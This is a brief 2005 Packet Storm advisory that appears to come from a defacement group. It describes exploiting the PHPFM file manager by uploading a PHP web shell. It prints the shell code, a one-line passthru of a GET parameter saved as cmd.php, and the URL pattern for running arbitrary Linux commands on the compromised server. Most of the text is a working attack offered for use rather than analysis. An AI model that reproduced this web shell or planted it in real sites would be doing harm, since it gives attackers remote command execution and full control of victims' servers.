phpfm.txt

2005-11-08T00:00:00
ID PACKETSTORM:41373
Type packetstorm
Reporter rUnViRuS
Modified 2005-11-08T00:00:00

Description

                                        
                                            `upload phpshell in PHPFM  
  
discovered by rUnViRuS  
  
www.worlddefacers.net  
www.security-arab.com  
=-=-=-=-=-=-=-=-=  
the code shell :-  
---------------  
<pre>  
<?  
passthru($_GET['cmd']);  
?>>  
  
save as > cmd.php  
now upload in PHPFM  
=-=-=-=  
Used Shell  
=-=-=-=  
www.site.com/[file upload name]/[files]/cmd.php?cmd=[command linux]  
  
=-=-=-==-=-=-==-=-=-==-=-=-==-=-=-==-=-=-=  
`